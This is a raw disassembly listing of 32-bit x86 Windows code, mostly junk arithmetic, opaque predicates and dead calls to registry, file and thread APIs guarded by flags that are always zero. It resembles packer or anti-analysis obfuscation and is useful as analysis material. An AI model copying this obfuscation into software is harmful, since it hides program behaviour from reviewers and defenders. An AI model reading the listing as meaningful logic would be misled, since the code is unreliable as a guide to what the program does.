mov ecx, dword [ebp - 0x980]
cmp dword [ebp + eax - 0xb10], ecx
je 0x4a438f
mov dword [ebp - 0xe4c], 1
jmp 0x4a4396
and dword [ebp - 0xe4c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
cmp dword [ebp - 0xe4c], eax
jg 0x4a43c7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb10], 0
je 0x4a43c7
mov dword [ebp - 0x1a68], 1
jmp 0x4a43ce
and dword [ebp - 0x1a68], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x2900], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
mov dword [ebp - 0x2908], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
mov dword [ebp - 0x2910], eax
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2240], 1
xor eax, eax
inc eax
neg eax
add eax, dword [ebp - 0x1a68]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0xaa4]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0xb10]
sub eax, dword [ebp - 0x980]
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 0xffffffff
jb 0x4a4458
mov dword [ebp - 0x1e44], 1
jmp 0x4a445f
and dword [ebp - 0x1e44], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
mov dword [ebp - 0x2918], eax
mov eax, dword [ebp - 0x1c14]
mov dword [ebp - 0x2920], eax
mov eax, dword [ebp - 0x1ed4]
mov dword [ebp - 0x1c1c], eax
jmp 0x4a46e6
mov dword [ebp - 0x214], 0x68d270c1
mov dword [ebp - 0x104], 2
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x2928], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x104], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp dword [ebp - 0x104], eax
jle 0x4a44dc
mov dword [ebp - 0xe54], 1
jmp 0x4a44e3
and dword [ebp - 0xe54], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
add eax, dword [ebp - 0xe54]
imul eax, eax, 0xfffffffb
cmp dword [ebp - 0x214], eax
jg 0x4a450d
mov dword [ebp - 0x1e4c], 1
jmp 0x4a4514
and dword [ebp - 0x1e4c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x2930], eax
mov dword [ebp - 0x1a0], 0x546153b7
cmp dword [ebp - 0x104], 0
je 0x4a456f
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x2938], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x2940], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x104], eax
jne 0x4a456f
and dword [ebp - 0x14d8], 0
jmp 0x4a4579
mov dword [ebp - 0x14d8], 1
mov eax, dword [ebp - 0x214]
imul eax, dword [ebp - 0x14d8]
cmp eax, 0xffff
jae 0x4a4599
mov dword [ebp - 0xe5c], 1
jmp 0x4a45a0
and dword [ebp - 0xe5c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
cmp eax, dword [ebp - 0xe5c]
jle 0x4a45c1
mov dword [ebp - 0x1808], 1
jmp 0x4a45c8
and dword [ebp - 0x1808], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x1808]
cmp eax, dword [ebp - 0x57c]
jg 0x4a45e5
mov dword [ebp - 0xe64], 1
jmp 0x4a45ec
and dword [ebp - 0xe64], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp dword [ebp - 0xe64], eax
jl 0x4a4649
mov eax, 0xedb9cc51
test eax, eax
je 0x4a4649
mov dword [ebp - 0x14e0], 0x28f0e43d
mov eax, dword [ebp - 0x14e0]
dec eax
mov dword [ebp - 0x14e0], eax
mov byte [ebp - 0x285], 0
movzx eax, byte [ebp - 0x285]
test eax, eax
je 0x4a4644
push 0
push 0
push 0x1a94
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x4a46e6
mov dword [ebp - 0x104], 0
jmp 0x4a4662
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xfffffff0
jne 0x4a46e6
mov dword [ebp - 0x214], 0
jmp 0x4a4684
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x24
jle 0x4a46e1
mov byte [ebp - 0x2c3], 0
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x4a46a9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 0x1a0], 2
jmp 0x4a46c2
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jl 0x4a46df
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp + eax*4 - 0xb10], 0
je 0x4a46dd
jmp 0x4a46df
jmp 0x4a46b5
jmp 0x4a4677
jmp 0x4a4655
push 1
lea eax, [ebp - 0x2d2c]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.0049d82b
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x2ad4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x2ad4]
lea edi, [ebp - 0x20d0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x3c4], 1
mov dword [ebp - 0x808], 0
jmp 0x4a4738
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 1
jge 0x4a4754
mov eax, dword [ebp - 0x808]
mov dword [ebp + eax*4 - 0x234], 0xc0ae9714
jmp 0x4a472b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x234], 0
jmp 0x4a4782
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x234]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x234], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x234], 0xb
jl 0x4a491b
mov dword [ebp - 0x310], 0x4aa0d722
mov dword [ebp - 0x1ed8], 5
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x2948], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x234]
mov dword [ebp - 0x2950], eax
mov eax, 0xa017779a
test eax, eax
je 0x4a47e0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x234], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x234], 0
jne 0x4a4800
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x4a4800
and dword [ebp - 0xe6c], 0
jmp 0x4a480a
mov dword [ebp - 0xe6c], 1
mov eax, dword [ebp - 0x310]
cmp dword [ebp - 0xe6c], eax
jge 0x4a4824
mov dword [ebp - 0x19a0], 1
jmp 0x4a482b
and dword [ebp - 0x19a0], 0
mov eax, dword [ebp - 0x19a0]
sub eax, dword [ebp - 0x310]
je 0x4a4845
mov dword [ebp - 0xe74], 1
jmp 0x4a484c
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0x310]
add eax, dword [ebp - 0xe74]
cmp eax, dword [ebp - 0x310]
jle 0x4a486c
mov dword [ebp - 0x14e8], 1
jmp 0x4a4873
and dword [ebp - 0x14e8], 0
cmp dword [ebp - 0x14e8], 0
jb 0x4a4888
mov dword [ebp - 0xe7c], 1
jmp 0x4a488f
and dword [ebp - 0xe7c], 0
imul eax, dword [ebp - 0xe7c], 0xffffffff
imul eax, dword [ebp - 0x310]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
je 0x4a48c1
cmp dword [ebp - 0x310], 0
je 0x4a48c1
mov dword [ebp - 0x1810], 1
jmp 0x4a48c8
and dword [ebp - 0x1810], 0
cmp dword [ebp - 0x1810], 0x217c7128
jg 0x4a48e0
mov dword [ebp - 0xe84], 1
jmp 0x4a48e7
and dword [ebp - 0xe84], 0
cmp dword [ebp - 0xe84], 6
jb 0x4a48fc
mov dword [ebp - 0x1c24], 1
jmp 0x4a4903
and dword [ebp - 0x1c24], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x234]
mov dword [ebp - 0x1ed8], eax
jmp 0x4a4767
mov dword [ebp - 0x3c4], 0
jmp 0x4a4934
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
jg 0x4a4960
mov byte [ebp - 0x287], 0
movzx eax, byte [ebp - 0x287]
test eax, eax
je 0x4a495e
push 0x1076
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x4a4927
mov dword [ebp - 0x14f0], 0xe55459ee
mov dword [ebp - 0xe8c], 0x5357f451
mov dword [ebp - 0x1e54], 0x5fec46bc
mov dword [ebp - 0x154], 0
jmp 0x4a4997
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x4a49b3
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x8f8], 0xfffffff9
jmp 0x4a498a
mov dword [ebp - 0x154], 0
jmp 0x4a49cc
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x4a49e8
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x255c], 0x28f3b8c1
jmp 0x4a49bf
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8f8], 0x10
jmp 0x4a4a16
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8f8], 0x1b
je 0x4a4b73
mov dword [ebp - 0x318], 0x8a94b2ab
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x2958], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f8]
mov dword [ebp - 0x14f0], eax
mov eax, dword [ebp - 0x14f0]
mov dword [ebp - 0xe8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f8]
cmp eax, dword [ebp - 0xe8c]
jge 0x4a4a80
mov dword [ebp - 0x14f8], 1
jmp 0x4a4a87
and dword [ebp - 0x14f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f8]
mov dword [ebp - 0x2960], eax
cmp dword [ebp - 0x318], 0
je 0x4a4abf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8f8], 0
je 0x4a4abf
mov dword [ebp - 0x1ad4], 1
jmp 0x4a4ac6
and dword [ebp - 0x1ad4], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x1ad4], eax
je 0x4a4ae0
mov dword [ebp - 0xe94], 1
jmp 0x4a4ae7
and dword [ebp - 0xe94], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0xe94], eax
jl 0x4a4b01
mov dword [ebp - 0x688], 0xea5d6c05
mov dword [ebp - 0x2978], 0xb4074dd
mov dword [ebp - 0x2980], 0x6f5a9c4c
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x4a4bab
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x688], 0xfffffff8
jmp 0x4a4bc4
cmp dword [ebp - 0x688], 0x19
jle 0x4a4c1f
mov dword [ebp - 0x810], 0
jmp 0x4a4be6
mov dword [ebp - 0x4cc], 0x3ae35568
mov dword [ebp - 0x1c3c], 0x8d7cbae8
mov dword [ebp - 0x4cc], 0
jmp 0x4a4c4c
cmp dword [ebp + 8], 1
jne 0x4b3d73
mov dword [ebp - 0x710], 0x1ad386cc
mov dword [ebp - 0x1698], 0
mov dword [ebp - 0x1eec], 0xb87d0fa5
mov dword [ebp - 0x4fc], 0xeab3cf81
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x2914], eax
mov dword [ebp - 0x1698], 0xffff
mov eax, dword [ebp - 0x1698]
mov dword [ebp - 0x1eec], eax
xor eax, eax
inc eax
cmp eax, 0x6941fc9a
je 0x4a8971
mov dword [ebp - 0x18e8], 1
jmp 0x4a8978
and dword [ebp - 0x18e8], 0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x23d8], eax
mov eax, dword [ebp - 0x710]
cmp dword [ebp - 0x710], eax
jge 0x4a899e
mov dword [ebp - 0x11dc], 1
jmp 0x4a89a5
and dword [ebp - 0x11dc], 0
mov eax, dword [ebp - 0x11dc]
sub eax, 0x177
cmp eax, 1
jne 0x4a89c1
mov dword [ebp - 0x11e4], 1
jmp 0x4a89c8
and dword [ebp - 0x11e4], 0
mov eax, dword [ebp - 0x18e8]
cmp eax, dword [ebp - 0x11e4]
jl 0x4a89e2
mov dword [ebp - 0x16a0], 1
jmp 0x4a89e9
and dword [ebp - 0x16a0], 0
cmp dword [ebp - 0x16a0], 0x780e
jge 0x4a8a01
mov dword [ebp - 0x11ec], 1
jmp 0x4a8a08
and dword [ebp - 0x11ec], 0
imul eax, dword [ebp - 0x11ec], 0x9e88
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4fc], 7
jmp 0x4a8a31
mov eax, dword [ebp - 0x4fc]
dec eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0xffffffe8
jne 0x4a8a69
mov byte [ebp - 0x29b], 0
movzx eax, byte [ebp - 0x29b]
test eax, eax
je 0x4a8a67
push 0x112f
push 0
push 0x26a6
push 0x4cf
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x4a8a24
mov dword [ebp - 0x544], 1
mov dword [ebp - 0x1d14], 2
mov dword [ebp - 0x544], 0x12
jmp 0x4a8a96
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0x12
jge 0x4a8b83
mov dword [ebp - 0x714], 1
mov dword [ebp - 0x2760], 0xc9a57b5b
mov dword [ebp - 0x23e0], 0x47c4d14
mov dword [ebp - 0x1a10], 0xfffc
mov dword [ebp - 0x700], 0
jmp 0x4a8ae4
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 4
jge 0x4a8b00
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x2d78], 0x951a
jmp 0x4a8ad7
mov dword [ebp - 0x714], 0
jmp 0x4a8b19
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 3
jg 0x4a8b71
mov dword [ebp - 0x708], 0xa6deec54
mov dword [ebp - 0x708], 3
jmp 0x4a8b45
mov eax, dword [ebp - 0x708]
dec eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0
jl 0x4a8b6f
mov byte [ebp - 0x321], 0
movzx eax, byte [ebp - 0x321]
test eax, eax
je 0x4a8b6d
push 0
push 0x154f
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x4a8b38
jmp 0x4a8b0c
mov eax, dword [ebp - 0x1a10]
dec eax
mov dword [ebp - 0x1a10], eax
jmp 0x4a8a89
mov eax, 0x9b76
test eax, eax
je 0x4a8ba1
cmp dword [ebp - 0x1d14], 0
je 0x4a8ba1
mov dword [ebp - 0x11f4], 1
jmp 0x4a8ba8
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x11f4]
mov dword [ebp - 0x544], eax
mov dword [ebp - 0x1ef4], 0xffff
mov dword [ebp - 0x71c], 0
jmp 0x4a8bd7
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 2
jge 0x4a8bf3
mov eax, dword [ebp - 0x71c]
mov dword [ebp + eax*4 - 0xaf8], 0x342eb90d
jmp 0x4a8bca
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xaf8], 0xfffffff8
jmp 0x4a8c21
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaf8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xaf8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xaf8], 0x16
jg 0x4a8d55
mov dword [ebp - 0x504], 0x9aed23b6
mov dword [ebp - 0x504], 0
jmp 0x4a8c58
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0xa
jne 0x4a8d50
mov dword [ebp - 0x590], 0
jmp 0x4a8c7e
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 2
jge 0x4a8c9a
mov eax, dword [ebp - 0x590]
mov dword [ebp + eax*4 - 0x2124], 0xc902dafb
jmp 0x4a8c71
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2124], 0x76ec
jl 0x4a8cb9
mov dword [ebp - 0x2070], 1
jmp 0x4a8cc0
and dword [ebp - 0x2070], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaf8]
dec eax
je 0x4a8ce5
cmp dword [ebp - 0x504], 0
je 0x4a8ce5
mov dword [ebp - 0x16a8], 1
jmp 0x4a8cec
and dword [ebp - 0x16a8], 0
cmp dword [ebp - 0x16a8], 5
jle 0x4a8d01
mov dword [ebp - 0x1d1c], 1
jmp 0x4a8d08
and dword [ebp - 0x1d1c], 0
xor eax, eax
jne 0x4a8d35
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xaf8], 0
jne 0x4a8d35
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2124], 0
jne 0x4a8d35
and dword [ebp - 0x11fc], 0
jmp 0x4a8d3f
mov dword [ebp - 0x11fc], 1
mov eax, dword [ebp - 0x11fc]
mov dword [ebp - 0x1ef4], eax
jmp 0x4a8c4b
jmp 0x4a8c06
mov dword [ebp - 0x1bc4], 0xb4ffb871
mov dword [ebp - 0x1bc0], 0xb4ffb871
mov dword [ebp - 0x1bbc], 0xb4ffb871
mov dword [ebp - 0x1bb8], 0xb4ffb871
mov dword [ebp - 0x218c], 0
mov dword [ebp - 0x2188], 0
mov dword [ebp - 0x2184], 0
mov dword [ebp - 0x2180], 0
mov dword [ebp - 0x724], 0
jmp 0x4a8dbe
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 1
jge 0x4a8dda
mov eax, dword [ebp - 0x724]
mov dword [ebp + eax*4 - 0x18f0], 0
jmp 0x4a8db1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1bc4], 0
jmp 0x4a8e08
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1bc4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1bc4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1bc4], 0
jg 0x4a8e93
mov dword [ebp - 0x338], 0x4ab2
mov eax, dword [ebp - 0x338]
dec eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x338], 0
jmp 0x4a8e48
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
jg 0x4a8e8e
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x4a8e6b
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1bc4]
mov ecx, dword [ebp - 0x338]
mov eax, dword [ebp + eax*4 - 0x18f0]
mov dword [ebp + ecx*4 - 0x18f0], eax
jmp 0x4a8e3b
jmp 0x4a8ded
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x218c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x218c], eax
mov dword [ebp - 0x60], 0x490c4d8e
mov dword [ebp - 0x2824], 0xe0bcd8c4
mov byte [ebp - 0x2cf], 0
movzx eax, byte [ebp - 0x2cf]
test eax, eax
je 0x4a8edb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov byte [ebp - 0x29f], 0
movzx eax, byte [ebp - 0x29f]
test eax, eax
je 0x4a8f06
push 0
push 0
push 0
push 0
push 0
push 0
push 0x5db
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x1d6c], 0
mov dword [ebp - 0x584], 0xffffffff
mov dword [ebp - 0x718], 0
jmp 0x4a8f33
mov eax, dword [ebp - 0x718]
inc eax
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 3
jge 0x4a8f4f
mov eax, dword [ebp - 0x718]
mov dword [ebp + eax*4 - 0x1bb4], 0xe6a3735b
jmp 0x4a8f26
mov byte [ebp - 0x379], 0
movzx eax, byte [ebp - 0x379]
test eax, eax
je 0x4a8f6c
push 0x119d
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x23e8], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1bb4]
dec eax
cmp eax, dword [ebp - 0x584]
jne 0x4a8f99
mov dword [ebp - 0x1204], 1
jmp 0x4a8fa0
and dword [ebp - 0x1204], 0
cmp dword [ebp - 0x1204], 0xfffffff9
jge 0x4a8fb5
mov dword [ebp - 0x16b0], 1
jmp 0x4a8fbc
and dword [ebp - 0x16b0], 0
mov eax, dword [ebp - 0x584]
cmp eax, dword [ebp - 0x16b0]
je 0x4a8fd6
mov dword [ebp - 0x120c], 1
jmp 0x4a8fdd
and dword [ebp - 0x120c], 0
mov eax, dword [ebp - 0x120c]
mov dword [ebp - 0x584], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1bb4]
cmp dword [ebp - 0x584], eax
je 0x4a9009
mov dword [ebp - 0x1d24], 1
jmp 0x4a9010
and dword [ebp - 0x1d24], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1bb4]
mov dword [ebp - 0x2770], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1bb4], 0
ja 0x4a903d
mov dword [ebp - 0x1b14], 1
jmp 0x4a9044
and dword [ebp - 0x1b14], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bb4]
cmp dword [ebp - 0x1b14], eax
jge 0x4a9065
mov dword [ebp - 0x1214], 1
jmp 0x4a906c
and dword [ebp - 0x1214], 0
cmp dword [ebp - 0x1214], 0xfffffff8
jle 0x4a9081
mov dword [ebp - 0x16b8], 1
jmp 0x4a9088
and dword [ebp - 0x16b8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16b8]
mov dword [ebp + eax - 0x1bb4], ecx
mov dword [ebp - 0x137c], 1
mov dword [ebp - 0x6c], 0xffffffff
mov dword [ebp - 0x1908], 0
mov dword [ebp - 0x1264], 0xfffffff9
mov dword [ebp - 0x1d2c], 0x7a772be7
mov dword [ebp - 0x6c], 0xb
jmp 0x4a90da
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 7
jle 0x4a90fa
mov byte [ebp - 0x2a1], 0
movzx eax, byte [ebp - 0x2a1]
test eax, eax
je 0x4a90f8
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x4a90d3
mov dword [ebp - 0x6c], 0
jmp 0x4a910a
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffff3
je 0x4a93ab
mov dword [ebp - 0x890], 0
mov dword [ebp - 0x464], 0xe177c422
mov dword [ebp - 0x50c], 0xffffffff
mov dword [ebp - 0x1900], 0xdf11caf1
mov dword [ebp - 0x1fa0], 0xfffffffd
mov dword [ebp - 0x125c], 0xffffffff
mov eax, dword [ebp - 0x890]
cmp dword [ebp - 0x6c], eax
jle 0x4a9167
mov dword [ebp - 0x1224], 1
jmp 0x4a916e
and dword [ebp - 0x1224], 0
mov eax, dword [ebp - 0x890]
add eax, dword [ebp - 0x464]
cmp eax, 0x2522abf7
jne 0x4a918d
mov dword [ebp - 0x121c], 1
jmp 0x4a9194
and dword [ebp - 0x121c], 0
mov eax, dword [ebp - 0x121c]
sub eax, 0x2f98de09
cmp eax, dword [ebp - 0x50c]
jle 0x4a91b3
mov dword [ebp - 0x18f8], 1
jmp 0x4a91ba
and dword [ebp - 0x18f8], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x18f8], eax
jge 0x4a91d7
cmp dword [ebp - 0x464], 0
jne 0x4a91d7
and dword [ebp - 0x16c0], 0
jmp 0x4a91e1
mov dword [ebp - 0x16c0], 1
mov eax, dword [ebp - 0x1224]
cmp eax, dword [ebp - 0x16c0]
je 0x4a91fb
mov dword [ebp - 0x122c], 1
jmp 0x4a9202
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x122c]
add eax, 4
cmp eax, dword [ebp - 0x464]
jl 0x4a921f
mov dword [ebp - 0x1a18], 1
jmp 0x4a9226
and dword [ebp - 0x1a18], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x1a18], eax
jle 0x4a9240
mov dword [ebp - 0x1234], 1
jmp 0x4a9247
and dword [ebp - 0x1234], 0
cmp dword [ebp - 0x1234], 0
jne 0x4a925c
mov dword [ebp - 0x16c8], 1
jmp 0x4a9263
and dword [ebp - 0x16c8], 0
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0x16c8], eax
jg 0x4a927d
mov dword [ebp - 0x123c], 1
jmp 0x4a9284
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x123c]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x464]
dec eax
mov dword [ebp - 0x1900], eax
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x1900], eax
jne 0x4a92b4
mov dword [ebp - 0x1244], 1
jmp 0x4a92bb
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x1244], eax
jge 0x4a92d5
mov dword [ebp - 0x16d0], 1
jmp 0x4a92dc
and dword [ebp - 0x16d0], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x16d0], eax
je 0x4a92f6
mov dword [ebp - 0x124c], 1
jmp 0x4a92fd
and dword [ebp - 0x124c], 0
mov eax, dword [ebp - 0x124c]
sub eax, dword [ebp - 0x890]
cmp eax, 0xfecafe8
je 0x4a9325
cmp dword [ebp - 0x890], 0
je 0x4a9325
mov dword [ebp - 0x1aa8], 1
jmp 0x4a932c
and dword [ebp - 0x1aa8], 0
mov eax, dword [ebp - 0x1fa0]
cmp dword [ebp - 0x1aa8], eax
jne 0x4a9346
mov dword [ebp - 0x1254], 1
jmp 0x4a934d
and dword [ebp - 0x1254], 0
mov eax, dword [ebp - 0x1254]
sub eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0x6c]
jne 0x4a936a
mov dword [ebp - 0x16d8], 1
jmp 0x4a9371
and dword [ebp - 0x16d8], 0
mov eax, dword [ebp - 0x16d8]
mov dword [ebp - 0x125c], eax
mov eax, dword [ebp - 0x125c]
mov dword [ebp - 0x1908], eax
mov eax, dword [ebp - 0x1908]
mov dword [ebp - 0x1264], eax
mov eax, dword [ebp - 0x1264]
sub eax, 0x5dbf
mov dword [ebp - 0x1d2c], eax
jmp 0x4a9103
mov dword [ebp - 0xaf0], 4
mov dword [ebp - 0xaec], 4
mov dword [ebp - 0xae8], 4
mov dword [ebp - 0xae4], 4
mov dword [ebp - 0x127c], 0x60813c27
mov dword [ebp - 0x128c], 0xfffffff8
mov dword [ebp - 0x2008], 0x4a9c
mov dword [ebp - 0x18c], 0
jmp 0x4a940a
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 2
jge 0x4a9426
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x1e98], 0x7862
jmp 0x4a93fd
mov dword [ebp - 0x18c], 0
jmp 0x4a943f
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x4a945b
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x1d34], 0x95520530
jmp 0x4a9432
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xaf0], 0
jmp 0x4a9486
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaf0]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xaf0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xaf0], 1
jg 0x4a96da
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x720], 0
jmp 0x4a94bc
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 1
jge 0x4a94d8
mov eax, dword [ebp - 0x720]
mov dword [ebp + eax*4 - 0x1294], 0xfffffffd
jmp 0x4a94af
xor eax, eax
jne 0x4a961f
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaf0]
